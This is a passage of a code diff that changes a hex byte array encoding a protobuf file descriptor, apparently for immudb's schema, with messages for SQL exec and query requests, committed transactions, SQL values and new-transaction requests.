0x1e, + 0x0a, 0x0a, 0x61, 0x73, 0x42, 0x65, 0x66, 0x6f, 0x72, 0x65, 0x54, 0x78, 0x18, 0x02, 0x20, 0x01, + 0x28, 0x04, 0x52, 0x0a, 0x61, 0x73, 0x42, 0x65, 0x66, 0x6f, 0x72, 0x65, 0x54, 0x78, 0x22, 0x6d, + 0x0a, 0x0e, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, + 0x12, 0x10, 0x0a, 0x03, 0x73, 0x71, 0x6c, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x73, + 0x71, 0x6c, 0x12, 0x31, 0x0a, 0x06, 0x70, 0x61, 0x72, 0x61, 0x6d, 0x73, 0x18, 0x02, 0x20, 0x03, + 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x4e, 0x61, 0x6d, 0x65, 0x64, 0x50, 0x61, 0x72, 0x61, 0x6d, 0x52, 0x06, 0x70, + 0x61, 0x72, 0x61, 0x6d, 0x73, 0x12, 0x16, 0x0a, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x18, + 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x22, 0x7c, 0x0a, + 0x0f, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, + 0x12, 0x10, 0x0a, 0x03, 0x73, 0x71, 0x6c, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x73, + 0x71, 0x6c, 0x12, 0x31, 0x0a, 0x06, 0x70, 0x61, 0x72, 0x61, 0x6d, 0x73, 0x18, 0x02, 0x20, 0x03, + 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x4e, 0x61, 0x6d, 0x65, 0x64, 0x50, 0x61, 0x72, 0x61, 0x6d, 0x52, 0x06, 0x70, + 0x61, 0x72, 0x61, 0x6d, 0x73, 0x12, 0x24, 0x0a, 0x0d, 0x72, 0x65, 0x75, 0x73, 0x65, 0x53, 0x6e, + 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0d, 0x72, 0x65, + 0x75, 0x73, 0x65, 0x53, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x22, 0x4f, 0x0a, 0x0a, 0x4e, + 0x61, 0x6d, 0x65, 0x64, 0x50, 0x61, 0x72, 0x61, 0x6d, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, + 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x2d, 0x0a, + 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, + 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 0x5e, 0x0a, 0x0d, + 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x12, 0x2f, 0x0a, + 0x03, 0x74, 0x78, 0x73, 0x18, 0x05, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, + 0x74, 0x74, 0x65, 0x64, 0x53, 0x51, 0x4c, 0x54, 0x78, 0x52, 0x03, 0x74, 0x78, 0x73, 0x12, 0x1c, + 0x0a, 0x09, 0x6f, 0x6e, 0x67, 0x6f, 0x69, 0x6e, 0x67, 0x54, 0x78, 0x18, 0x06, 0x20, 0x01, 0x28, + 0x08, 0x52, 0x09, 0x6f, 0x6e, 0x67, 0x6f, 0x69, 0x6e, 0x67, 0x54, 0x78, 0x22, 0xdd, 0x03, 0x0a, + 0x0e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x53, 0x51, 0x4c, 0x54, 0x78, 0x12, + 0x2f, 0x0a, 0x06, 0x68, 0x65, 0x61, 0x64, 0x65, 0x72, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, + 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x52, 0x06, 0x68, 0x65, 0x61, 0x64, 0x65, 0x72, + 0x12, 0x20, 0x0a, 0x0b, 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, 0x64, 0x52, 0x6f, 0x77, 0x73, 0x18, + 0x02, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, 0x64, 0x52, 0x6f, + 0x77, 0x73, 0x12, 0x5c, 0x0a, 0x0f, 0x6c, 0x61, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, + 0x65, 0x64, 0x50, 0x4b, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x32, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6d, 0x6d, + 0x69, 0x74, 0x74, 0x65, 0x64, 0x53, 0x51, 0x4c, 0x54, 0x78, 0x2e, 0x4c, 0x61, 0x73, 0x74, 0x49, + 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, + 0x0f, 0x6c, 0x61, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, + 0x12, 0x5f, 0x0a, 0x10, 0x66, 0x69, 0x72, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, + 0x64, 0x50, 0x4b, 0x73, 0x18, 0x04, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x33, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, + 0x74, 0x74, 0x65, 0x64, 0x53, 0x51, 0x4c, 0x54, 0x78, 0x2e, 0x46, 0x69, 0x72, 0x73, 0x74, 0x49, + 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, + 0x10, 0x66, 0x69, 0x72, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, + 0x73, 0x1a, 0x5b, 0x0a, 0x14, 0x4c, 0x61, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, + 0x64, 0x50, 0x4b, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, + 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x2d, 0x0a, 0x05, 0x76, + 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x56, 0x61, + 0x6c, 0x75, 0x65, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x1a, 0x5c, + 0x0a, 0x15, 0x46, 0x69, 0x72, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, + 0x4b, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x2d, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x56, 0x61, 0x6c, 0x75, - 0x65, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 0x5e, 0x0a, 0x0d, 0x53, 0x51, 0x4c, 0x45, - 0x78, 0x65, 0x63, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x12, 0x2f, 0x0a, 0x03, 0x74, 0x78, 0x73, - 0x18, 0x05, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, - 0x53, 0x51, 0x4c, 0x54, 0x78, 0x52, 0x03, 0x74, 0x78, 0x73, 0x12, 0x1c, 0x0a, 0x09, 0x6f, 0x6e, - 0x67, 0x6f, 0x69, 0x6e, 0x67, 0x54, 0x78, 0x18, 0x06, 0x20, 0x01, 0x28, 0x08, 0x52, 0x09, 0x6f, - 0x6e, 0x67, 0x6f, 0x69, 0x6e, 0x67, 0x54, 0x78, 0x22, 0xdd, 0x03, 0x0a, 0x0e, 0x43, 0x6f, 0x6d, - 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x53, 0x51, 0x4c, 0x54, 0x78, 0x12, 0x2f, 0x0a, 0x06, 0x68, - 0x65, 0x61, 0x64, 0x65, 0x72, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, - 0x61, 0x64, 0x65, 0x72, 0x52, 0x06, 0x68, 0x65, 0x61, 0x64, 0x65, 0x72, 0x12, 0x20, 0x0a, 0x0b, - 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, 0x64, 0x52, 0x6f, 0x77, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, - 0x0d, 0x52, 0x0b, 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, 0x64, 0x52, 0x6f, 0x77, 0x73, 0x12, 0x5c, - 0x0a, 0x0f, 0x6c, 0x61, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, - 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x32, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, - 0x64, 0x53, 0x51, 0x4c, 0x54, 0x78, 0x2e, 0x4c, 0x61, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, - 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0f, 0x6c, 0x61, 0x73, - 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x12, 0x5f, 0x0a, 0x10, - 0x66, 0x69, 0x72, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, - 0x18, 0x04, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x33, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, - 0x53, 0x51, 0x4c, 0x54, 0x78, 0x2e, 0x46, 0x69, 0x72, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, - 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x10, 0x66, 0x69, 0x72, - 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x1a, 0x5b, 0x0a, - 0x14, 0x4c, 0x61, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, - 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x2d, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, - 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, - 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x1a, 0x5c, 0x0a, 0x15, 0x46, 0x69, - 0x72, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x45, 0x6e, - 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x2d, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, - 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, 0x05, 0x76, - 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x69, 0x0a, 0x0e, 0x53, 0x51, 0x4c, 0x51, - 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x12, 0x2f, 0x0a, 0x07, 0x63, 0x6f, - 0x6c, 0x75, 0x6d, 0x6e, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x15, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x75, - 0x6d, 0x6e, 0x52, 0x07, 0x63, 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x73, 0x12, 0x26, 0x0a, 0x04, 0x72, - 0x6f, 0x77, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x52, 0x6f, 0x77, 0x52, 0x04, 0x72, - 0x6f, 0x77, 0x73, 0x22, 0x30, 0x0a, 0x06, 0x43, 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x12, 0x12, 0x0a, - 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, - 0x65, 0x12, 0x12, 0x0a, 0x04, 0x74, 0x79, 0x70, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x04, 0x74, 0x79, 0x70, 0x65, 0x22, 0x50, 0x0a, 0x03, 0x52, 0x6f, 0x77, 0x12, 0x18, 0x0a, 0x07, - 0x63, 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x09, 0x52, 0x07, 0x63, - 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x73, 0x12, 0x2f, 0x0a, 0x06, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x73, - 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, - 0x06, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x22, 0x99, 0x01, 0x0a, 0x08, 0x53, 0x51, 0x4c, 0x56, - 0x61, 0x6c, 0x75, 0x65, 0x12, 0x30, 0x0a, 0x04, 0x6e, 0x75, 0x6c, 0x6c, 0x18, 0x01, 0x20, 0x01, - 0x28, 0x0e, 0x32, 0x1a, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, - 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x48, 0x00, - 0x52, 0x04, 0x6e, 0x75, 0x6c, 0x6c, 0x12, 0x0e, 0x0a, 0x01, 0x6e, 0x18, 0x02, 0x20, 0x01, 0x28, - 0x03, 0x48, 0x00, 0x52, 0x01, 0x6e, 0x12, 0x0e, 0x0a, 0x01, 0x73, 0x18, 0x03, 0x20, 0x01, 0x28, - 0x09, 0x48, 0x00, 0x52, 0x01, 0x73, 0x12, 0x0e, 0x0a, 0x01, 0x62, 0x18, 0x04, 0x20, 0x01, 0x28, - 0x08, 0x48, 0x00, 0x52, 0x01, 0x62, 0x12, 0x10, 0x0a, 0x02, 0x62, 0x73, 0x18, 0x05, 0x20, 0x01, - 0x28, 0x0c, 0x48, 0x00, 0x52, 0x02, 0x62, 0x73, 0x12, 0x10, 0x0a, 0x02, 0x74, 0x73, 0x18, 0x06, - 0x20, 0x01, 0x28, 0x03, 0x48, 0x00, 0x52, 0x02, 0x74, 0x73, 0x42, 0x07, 0x0a, 0x05, 0x76, 0x61, - 0x6c, 0x75, 0x65, 0x22, 0xed, 0x01, 0x0a, 0x0c, 0x4e, 0x65, 0x77, 0x54, 0x78, 0x52, 0x65, 0x71, - 0x75, 0x65, 0x73, 0x74, 0x12, 0x29, 0x0a, 0x04, 0x6d, 0x6f, 0x64, 0x65, 0x18, 0x01, 0x20, 0x01, - 0x28, 0x0e, 0x32, 0x15, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x4d, 0x6f, 0x64, 0x65, 0x52, 0x04, 0x6d, 0x6f, 0x64, 0x65, 0x12, - 0x57, 0x0a, 0x17, 0x73, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x4d, 0x75, 0x73, 0x74, 0x49, - 0x6e, 0x63, 0x6c, 0x75, 0x64, 0x65, 0x54, 0x78, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, - 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x36, 0x34, 0x52, - 0x17, 0x73, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x4d, 0x75, 0x73, 0x74, 0x49, 0x6e, 0x63, - 0x6c, 0x75, 0x64, 0x65, 0x54, 0x78, 0x49, 0x44, 0x12, 0x59, 0x0a, 0x15, 0x73, 0x6e, 0x61, 0x70, - 0x73, 0x68, 0x6f, 0x74, 0x52, 0x65, 0x6e, 0x65, 0x77, 0x61, 0x6c, 0x50, 0x65, 0x72, 0x69, 0x6f, - 0x64, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x65, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x69, 0x0a, 0x0e, + 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x12, 0x2f, + 0x0a, 0x07, 0x63, 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, + 0x15, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x43, 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x52, 0x07, 0x63, 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x73, 0x12, + 0x26, 0x0a, 0x04, 0x72, 0x6f, 0x77, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x12, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x52, 0x6f, + 0x77, 0x52, 0x04, 0x72, 0x6f, 0x77, 0x73, 0x22, 0x30, 0x0a, 0x06, 0x43, 0x6f, 0x6c, 0x75, 0x6d, + 0x6e, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x74, 0x79, 0x70, 0x65, 0x18, 0x02, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x04, 0x74, 0x79, 0x70, 0x65, 0x22, 0x50, 0x0a, 0x03, 0x52, 0x6f, 0x77, + 0x12, 0x18, 0x0a, 0x07, 0x63, 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, + 0x09, 0x52, 0x07, 0x63, 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x73, 0x12, 0x2f, 0x0a, 0x06, 0x76, 0x61, + 0x6c, 0x75, 0x65, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x56, 0x61, + 0x6c, 0x75, 0x65, 0x52, 0x06, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x22, 0x99, 0x01, 0x0a, 0x08, + 0x53, 0x51, 0x4c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x12, 0x30, 0x0a, 0x04, 0x6e, 0x75, 0x6c, 0x6c, + 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x1a, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, + 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x56, 0x61, 0x6c, + 0x75, 0x65, 0x48, 0x00, 0x52, 0x04, 0x6e, 0x75, 0x6c, 0x6c, 0x12, 0x0e, 0x0a, 0x01, 0x6e, 0x18, + 0x02, 0x20, 0x01, 0x28, 0x03, 0x48, 0x00, 0x52, 0x01, 0x6e, 0x12, 0x0e, 0x0a, 0x01, 0x73, 0x18, + 0x03, 0x20, 0x01, 0x28, 0x09, 0x48, 0x00, 0x52, 0x01, 0x73, 0x12, 0x0e, 0x0a, 0x01, 0x62, 0x18, + 0x04, 0x20, 0x01, 0x28, 0x08, 0x48, 0x00, 0x52, 0x01, 0x62, 0x12, 0x10, 0x0a, 0x02, 0x62, 0x73, + 0x18, 0x05, 0x20, 0x01, 0x28, 0x0c, 0x48, 0x00, 0x52, 0x02, 0x62, 0x73, 0x12, 0x10, 0x0a, 0x02, + 0x74, 0x73, 0x18, 0x06, 0x20, 0x01, 0x28, 0x03, 0x48, 0x00, 0x52, 0x02, 0x74, 0x73, 0x42, 0x07, + 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 0xed, 0x01, 0x0a, 0x0c, 0x4e, 0x65, 0x77, 0x54, + 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x29, 0x0a, 0x04, 0x6d, 0x6f, 0x64, 0x65, + 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x15, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x4d, 0x6f, 0x64, 0x65, 0x52, 0x04, 0x6d, + 0x6f, 0x64, 0x65, 0x12, 0x57, 0x0a, 0x17, 0x73, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x4d, + 0x75, 0x73, 0x74, 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x64, 0x65, 0x54, 0x78, 0x49, 0x44, 0x18, 0x02, + 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, + 0x74, 0x36, 0x34, 0x52, 0x17, 0x73, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x4d, 0x75, 0x73, + 0x74, 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x64, 0x65, 0x54, 0x78, 0x49, 0x44, 0x12, 0x59, 0x0a, 0x15, + 0x73, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x52, 0x65, 0x6e, 0x65, 0x77, 0x61, 0x6c, 0x50, + 0x65, 0x72, 0x69, 0x6f, 0x64, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x23, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, + 0x61, 0x62, 0x6c, 0x65, 0x4d, 0x69, 0x6c, 0x6c, 0x69, 0x73, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x73, + 0x52, 0x15, 0x73, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x52, 0x65, 0x6e, 0x65, 0x77, 0x61, + 0x6c, 0x50, 0x65, 0x72, 0x69, 0x6f, 0x64, 0x22, 0x35, 0x0a, 0x0d, 0x4e, 0x65, 0x77, 0x54, 0x78, + 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x24, 0x0a, 0x0d, 0x74, 0x72, 0x61, 0x6e, + 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x22, 0x35, + 0x0a, 0x09, 0x45, 0x72, 0x72, 0x6f, 0x72, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x12, 0x0a, 0x04, 0x63, + 0x6f, 0x64, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x63, 0x6f, 0x64, 0x65, 0x12, + 0x14, 0x0a, 